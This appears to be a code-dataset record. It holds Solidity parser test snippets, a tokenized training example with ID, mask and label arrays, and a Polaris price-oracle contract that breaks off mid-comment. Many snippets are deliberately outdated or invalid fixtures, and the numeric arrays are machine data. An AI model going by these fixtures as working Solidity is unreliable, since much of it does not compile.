import * as abc from './abc.sol';
contract test {}
contract c {
uint[] a;
function f() returns (uint, uint) {
a = [1,2,3];
return (a[3], [2,3,4][0]);
}
}
library Lib {
function f() { }
}
contract test {
function test() {
a = 1 wei;
a = 2 szabo;
a = 3 finney;
a = 4 ether;
a = 1 seconds;
a = 2 minutes;
a = 3 hours;
a = 4 days;
a = 5 weeks;
a = 6 years;
}
uint256 a;
}
contract c {
function c ()
{
a = 1 wei * 100 wei + 7 szabo - 3;
}
uint256 a;
}
contract Foo {
function f() {
uint[] storage x;
uint[] memory y;
}
}
// contract Foo {
// function f(uint[] constant x, uint[] memory y) { }
// }
contract test {
mapping(address => bytes32) names;
}
contract test {
struct test_struct {
address addr;
uint256 count;
mapping(bytes32 => test_struct) self_reference;
}
}
contract test {
struct test_struct {
address addr;
mapping (uint64 => mapping (bytes32 => uint)) complex_mapping;
}
}
contract c {
modifier mod { if (msg.sender == 0) _; }
}
contract c {
modifier mod(address a) { if (msg.sender == a) _; }
}
contract c {
modifier mod1(address a) { if (msg.sender == a) _; }
modifier mod2 { if (msg.sender == 2) _; }
function f() mod1(7) mod2 { }
}
contract c {
mapping(uint => mapping(uint => int8)[8][][9])[] x;
}
contract C {
function f() {
var (a,b,c) = g();
var (d) = 2;
var (,e) = 3;
var (f,) = 4;
var (x,,) = g();
var (,y,) = g();
var (,,) = g();
}
function g() returns (uint, uint, uint) {}
}
contract test {
function fun() {
uint64(2);
}
}
contract test2 {
function fun() {
uint64(2);
}
}
import "./abc.sol";
contract test {
function fun() {
}
}
contract test2 {
function fun() {
}
}
import "./def.sol";
contract foo {
function foo(uint a) {
}
}
contract bar {
function bar(string a, string b) {
}
}
contract derived is foo(2), bar("abc", "def") {
function fun() {
}
}
contract test {
function f() returns(bool succeeded) {
return false;
}
}
contract test {
uint256 stateVar;
function functionName() {}
}
contract test {
function fun(int256 a) {
int256 x = (1 + 4) * (a - 12) + -9;
bool y = true && (a < 6) || false;
}
}
contract test {
function fun(uint a) returns(uint r) { return a; }
function fun(uint a, uint b) returns(uint r) { return a + b; }
}
contract c {
function fun() returns (uint r) {
var _ = 8;
return _ + 1;
}
}
pragma solidity ^0.4.4;
contract test {}
contract test {
uint256 stateVar;
function functionName(bytes32 input) returns (bytes32 out) {}
}
contract test {
uint256 stateVariable1;
}
contract test {
function fun() {
uint64(2);
}
}
contract test {
uint256 stateVar;
struct MyStructName {
address addr;
uint256 count;
}
}
contract C {
function f() {
uint a = (1);
var (b,) = 1;
var (c,d) = (1, 2 + a);
var (e,) = (1, 2, b);
(a) = 3;
}
}
contract test {
function fun() {
var x = new uint64[](3);
}
}
contract test {
function f() {
uint a = +10;
a--;
a = ~a;
delete a;
bool b = !true;
}
}
library Lib {
}
contract C {
struct s { uint a; }
using Lib for uint;
using Lib for *;
using Lib for s;
function f() {
}
}
contract test {
function fun(uint256 a) {
var b = 5;
uint256 c;
mapping(address=>bytes32) d;
}
}
contract test {
function fun(uint256 a) {
var b = 2;
uint256 c = 0x87;
uint256 d = 0X78;
mapping(address=>bytes32) d;
bytes32 name = "Solidity";
}
}
contract c {
uint private a;
uint internal b;
uint public c;
uint d;
function f() {}
function f_priv() private {}
function f_public() public {}
function f_internal() internal {}
}
contract test {
function fun(uint256 a) {
while (true) { uint256 x = 1; break; continue; } x = 9;
}
}
contract test {
function() {
assembly {
mstore(0x40, 0x60) // store the "free memory pointer"
// function dispatcher
switch div(calldataload(0), exp(2, 226))
case 0xb3de648b {
let (r) := f(calldataload(4))
let ret := $allocate(0x20)
mstore(ret, r)
return(ret, 0x20)
}
default { revert(0, 0) }
// memory allocator
function $allocate(size) -> pos {
pos := mload(0x40)
mstore(0x40, add(pos, size))
}
// the contract function
function f(x) -> y {
y := 1
for { let i := 0 } lt(i, x) { i := add(i, 1) } {
y := mul(2, y)
}
if gt(y, 2) { revert(0, 0) }
}
}
}
}
contract test {
function f() view {
return 2;
}
function g() pure {
return 2;
}
}
contract test {
function f() {
uint256 a = 2.3e5;
}
}
contract test {
function f() {
uint256 a;
(a,) = g();
(,) = g();
}
}
contract test {
function foo() public returns (byte b) {
assembly {
n := byte(0x0)
}
}
}
contract test {
function() {
emit EventCalled(1, 2, 3);
}
}
contract test {
constructor(uint a, uint b) withModifier public {}
}
contract test {
function () payable {
(bytes32 a, uint b) = foo();
}
}
contract test {
uint x = .1 ether;
}
contract test {
function () {
type(Proxy).creationCode;
}
}
contract test {
uint x = 1000000;
int x2 = -1000000;
int x3 = -1000000 * 200;
uint y = .25;
uint y2 = 0.25;
uint y3 = 10.25;
uint y4 = 100.25;
uint y5 = 0.0025 * 1e18;
uint z = 0x11_22;
uint z2 = 0x1122;
}
contract test {
function _finalization() internal {
if (goalReached()) {
_escrow.close();
_escrow.beneficiaryWithdraw();
} else {
_escrow.enableRefunds();
}
super._finalization();
}
}
contract test {
function testFunction() {
assembly {
function power(base, exponent) -> result {
switch exponent
case 0 { result := 1 }
case 1 { result := base }
default {
result := power(mul(base, base), div(exponent, 2))
switch mod(exponent, 2)
case 1 {
result := mul(base, result)
leave
}
}
}
}
}
}
contract Sharer {
function sendHalf(address payable addr) public payable returns (uint balance) {
require(msg.value % 2 == 0, "Even value required.");
uint balanceBeforeTransfer = address(this).balance;
addr.transfer(msg.value / 2);
// Since transfer throws an exception on failure and
// cannot call back here, there should be no way for us to
// still have half of the money.
assert(address(this).balance == balanceBeforeTransfer - msg.value / 2);
return address(this).balance;
}
}
contract FeedConsumer {
DataFeed feed;
uint errorCount;
function rate(address token) public returns (uint value, bool success) {
// Permanently disable the mechanism if there are
// more than 10 errors.
require(errorCount < 10);
try feed.getData(token) returns (uint v) {
return (v, true);
} catch Error(string memory /*reason*/) {
// This is executed in case
// revert was called inside getData
// and a reason string was provided.
errorCount++;
return (0, false);
} catch (bytes memory /*lowLevelData*/) {
// This is executed in case revert() was used
// or there was a failing assertion, division
// by zero, etc. inside getData.
errorCount++;
return (0, false);
} catch {
// This is also executed in case revert() was used
// or there was a failing assertion, division
// by zero, etc. inside getData.
errorCount++;
return (0, false);
}
}
}
contract test {
receive () external payable {}
fallback () external payable {}
}
contract c {
string a = "aaa"
"bbb";
string b = "aaa""bbb";
string c = "aaa" "bbb";
}
pragma solidity >=0.5.0 <0.7.0;
contract Base1
{
function foo() virtual public {}
}
contract Base2
{
function foo() virtual public {}
}
contract Inherited is Base1, Base2
{
// Derives from multiple bases defining foo(), so we must explicitly
// override it
function foo() public override(Base1, Base2) {}
}
contract CallWithNameValue {
function foo() {
recipient.call("");
recipient.call{value: 1}("");
recipient.call{value: 1, gas: 1000}("");
}
}
contract FunctionsNamedAsKeywords {
function receive() {}
function leave() {}
}
contract ImmutableKeyword {
uint immutable foo;
}
contract AssemblySlotNotation {
function foo() {
assembly {
ds.slot := position
offset := x.offset
}
}
}
// top-level function
function helper(uint x) pure returns (uint) {
return x * 2;
}
| contract Foo { function f(uint[] constant x, uint[] memory y) { } } | contract test {
mapping(address => bytes32) names;
}
| 13,012,354 | [
1,
16351,
23077,
288,
377,
445,
284,
12,
11890,
8526,
5381,
619,
16,
2254,
8526,
3778,
677,
13,
288,
289,
289,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1842,
288,
203,
565,
2874,
12,
2867,
516,
1731,
1578,
13,
1257,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.2;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Math
* @dev Assorted math operations
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Calculates the average of two numbers. Since these are integers,
* averages of an even and odd number cannot be represented, and will be
* rounded down.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: Integer overflow");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: Invalid divisor zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: Integer underflow");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: Integer overflow");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: Invalid divisor zero");
return a % b;
}
}
contract IUniswapExchange {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_tokens, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
contract IUniswapFactory {
// Public Variables
address public exchangeTemplate;
uint256 public tokenCount;
// Create Exchange
function createExchange(address token) external returns (address payable exchange);
// Get Exchange and Token Info
function getExchange(address token) external view returns (address payable exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0), "ERC20#approve: Cannot approve address zero");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0), "ERC20#increaseAllowance: Cannot increase allowance for address zero");
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0), "ERC20#decreaseAllowance: Cannot decrease allowance for address zero");
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "ERC20#_transfer: Cannot transfer to address zero");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0), "ERC20#_mint: Cannot mint to address zero");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20#_burn: Cannot burn from address zero");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract OracleToken is ERC20 {
string public name = "Polaris Token";
string public symbol = "PLRS";
uint8 public decimals = 18;
address public oracle;
address public token;
constructor(address _token) public payable {
oracle = msg.sender;
token = _token;
}
function () external payable {}
function mint(address to, uint amount) public returns (bool) {
require(msg.sender == oracle, "OracleToken::mint: Only Oracle can call mint");
_mint(to, amount);
return true;
}
function redeem(uint amount) public {
uint ethAmount = address(this).balance.mul(amount).div(totalSupply());
_burn(msg.sender, amount);
msg.sender.transfer(ethAmount);
}
}
pragma experimental ABIEncoderV2;
contract Polaris {
using Math for uint;
using SafeMath for uint;
event NewMedian(address indexed token, uint ethReserve, uint tokenReserve);
event Subscribe(address indexed token, address indexed subscriber, uint amount);
event Unsubscribe(address indexed token, address indexed subscriber, uint amount);
uint8 public constant MAX_CHECKPOINTS = 15;
// Reward for a successful poke, in oracle tokens
uint public constant CHECKPOINT_REWARD = 1e18;
// Conditions for checkpoint reward
uint public constant MIN_PRICE_CHANGE = .01e18; // 1%
uint public constant MAX_TIME_SINCE_LAST_CHECKPOINT = 3 hours;
uint public constant PENDING_PERIOD = 3.5 minutes;
address public constant ETHER = address(0);
// Monthly subscription fee to subscribe to a single oracle
uint public constant MONTHLY_SUBSCRIPTION_FEE = 5 ether;
uint public constant ONE_MONTH_IN_SECONDS = 30 days;
IUniswapFactory public uniswap;
struct Account {
uint balance;
uint collectionTimestamp;
}
struct Checkpoint {
uint ethReserve;
uint tokenReserve;
}
struct Medianizer {
uint8 tail;
uint pendingStartTimestamp;
uint latestTimestamp;
Checkpoint[] prices;
Checkpoint[] pending;
Checkpoint median;
}
// Token => Subscriber => Account
mapping (address => mapping (address => Account)) public accounts;
// Token => Oracle Token (reward for poking)
mapping (address => OracleToken) public oracleTokens;
// Token => Medianizer
mapping (address => Medianizer) private medianizers;
constructor(IUniswapFactory _uniswap) public {
uniswap = _uniswap;
}
/**
* @dev Subscribe to read the price of a given token (e.g, DAI).
* @param token The address of the token to subscribe to.
*/
function subscribe(address token) public payable {
Account storage account = accounts[token][msg.sender];
_collect(token, account);
account.balance = account.balance.add(msg.value);
require(account.balance >= MONTHLY_SUBSCRIPTION_FEE, "Polaris::subscribe: Account balance is below the minimum");
emit Subscribe(token, msg.sender, msg.value);
}
/**
* @dev Unsubscribe to a given token (e.g, DAI).
* @param token The address of the token to unsubscribe from.
* @param amount The requested amount to withdraw, in wei.
* @return The actual amount withdrawn, in wei.
*/
function unsubscribe(address token, uint amount) public returns (uint) {
Account storage account = accounts[token][msg.sender];
_collect(token, account);
uint maxWithdrawAmount = account.balance.sub(MONTHLY_SUBSCRIPTION_FEE);
uint actualWithdrawAmount = amount.min(maxWithdrawAmount);
account.balance = account.balance.sub(actualWithdrawAmount);
msg.sender.transfer(actualWithdrawAmount);
emit Unsubscribe(token, msg.sender, actualWithdrawAmount);
}
/**
* @dev Collect subscription fees from a subscriber.
* @param token The address of the subscribed token to collect fees from.
* @param who The address of the subscriber.
*/
function collect(address token, address who) public {
Account storage account = accounts[token][who];
_collect(token, account);
}
/**
* @dev Add a new price checkpoint.
* @param token The address of the token to checkpoint.
*/
function poke(address token) public {
require(_isHuman(), "Polaris::poke: Poke must be called by an externally owned account");
OracleToken oracleToken = oracleTokens[token];
// Get the current reserves from Uniswap
Checkpoint memory checkpoint = _newCheckpoint(token);
if (address(oracleToken) == address(0)) {
_initializeMedianizer(token, checkpoint);
} else {
Medianizer storage medianizer = medianizers[token];
require(medianizer.latestTimestamp != block.timestamp, "Polaris::poke: Cannot poke more than once per block");
// See if checkpoint should be rewarded
if (_willRewardCheckpoint(token, checkpoint)) {
oracleToken.mint(msg.sender, CHECKPOINT_REWARD);
}
// If pending checkpoints are old, reset pending checkpoints
if (block.timestamp.sub(medianizer.pendingStartTimestamp) > PENDING_PERIOD || medianizer.pending.length == MAX_CHECKPOINTS) {
medianizer.pending.length = 0;
medianizer.tail = (medianizer.tail + 1) % MAX_CHECKPOINTS;
medianizer.pendingStartTimestamp = block.timestamp;
}
medianizer.latestTimestamp = block.timestamp;
// Add the checkpoint to the pending array
medianizer.pending.push(checkpoint);
// Add the pending median to the prices array
medianizer.prices[medianizer.tail] = _medianize(medianizer.pending);
// Find and store the prices median
medianizer.median = _medianize(medianizer.prices);
emit NewMedian(token, medianizer.median.ethReserve, medianizer.median.tokenReserve);
}
}
/**
* @dev Get price data for a given token.
* @param token The address of the token to query.
* @return The price data struct.
*/
function getMedianizer(address token) public view returns (Medianizer memory) {
require(_isSubscriber(accounts[token][msg.sender]) || _isHuman(), "Polaris::getMedianizer: Not subscribed");
return medianizers[token];
}
/**
* @notice This uses the x * y = k bonding curve to determine the destination amount based on the medianized price.
* 𝝙x = (𝝙y * x) / (y + 𝝙y)
* @dev Get the amount of destination token, based on a given amount of source token.
* @param src The address of the source token.
* @param dest The address of the destination token.
* @param srcAmount The amount of the source token.
* @return The amount of destination token.
*/
function getDestAmount(address src, address dest, uint srcAmount) public view returns (uint) {
if (!_isHuman()) {
require(src == ETHER || _isSubscriber(accounts[src][msg.sender]), "Polaris::getDestAmount: Not subscribed");
require(dest == ETHER || _isSubscriber(accounts[dest][msg.sender]), "Polaris::getDestAmount: Not subscribed");
}
if (src == dest) {
return srcAmount;
} else if (src == ETHER) {
Checkpoint memory median = medianizers[dest].median;
return srcAmount.mul(median.tokenReserve).div(median.ethReserve.add(srcAmount));
} else if (dest == ETHER) {
Checkpoint memory median = medianizers[src].median;
return srcAmount.mul(median.ethReserve).div(median.tokenReserve.add(srcAmount));
} else {
Checkpoint memory srcMedian = medianizers[src].median;
Checkpoint memory destMedian = medianizers[dest].median;
uint ethAmount = srcAmount.mul(srcMedian.ethReserve).div(srcMedian.tokenReserve.add(srcAmount));
return ethAmount.mul(destMedian.ethReserve).div(destMedian.tokenReserve.add(ethAmount));
}
}
/**
* @dev Determine whether a given checkpoint would be rewarded with newly minted oracle tokens.
* @param token The address of the token to query checkpoint for.
* @return True if given checkpoint satisfies any of the following:
* Less than required checkpoints exist to calculate a valid median
* Exceeds max time since last checkpoint
* Exceeds minimum price change from median AND no pending checkpoints
* Exceeds minimum percent change from pending checkpoints median
* Exceeds minimum percent change from last checkpoint
*/
function willRewardCheckpoint(address token) public view returns (bool) {
Checkpoint memory checkpoint = _newCheckpoint(token);
return _willRewardCheckpoint(token, checkpoint);
}
/**
* @dev Get the account for a given subscriber of a token feed.
* @param token The token to query the account of the given subscriber.
* @param who The subscriber to query the account of the given token feed.
* @return The account of the subscriber of the given token feed.
*/
function getAccount(address token, address who) public view returns (Account memory) {
return accounts[token][who];
}
/**
* @dev Get the owed amount for a given subscriber of a token feed.
* @param token The token to query the owed amount of the given subscriber.
* @param who The subscriber to query the owed amount for the given token feed.
* @return The owed amount of the subscriber of the given token feed.
*/
function getOwedAmount(address token, address who) public view returns (uint) {
Account storage account = accounts[token][who];
return _getOwedAmount(account);
}
/**
* @dev Update the subscriber balance of a given token feed.
* @param token The token to collect subscription revenues for.
* @param account The subscriber account to collect subscription revenues from.
*/
function _collect(address token, Account storage account) internal {
if (account.balance == 0) {
account.collectionTimestamp = block.timestamp;
return;
}
uint owedAmount = _getOwedAmount(account);
OracleToken oracleToken = oracleTokens[token];
// If the subscriber does not have enough, collect the remaining balance
if (owedAmount >= account.balance) {
address(oracleToken).transfer(account.balance);
account.balance = 0;
} else {
address(oracleToken).transfer(owedAmount);
account.balance = account.balance.sub(owedAmount);
}
account.collectionTimestamp = block.timestamp;
}
/**
* @dev Initialize the medianizer
* @param token The token to initialize the medianizer for.
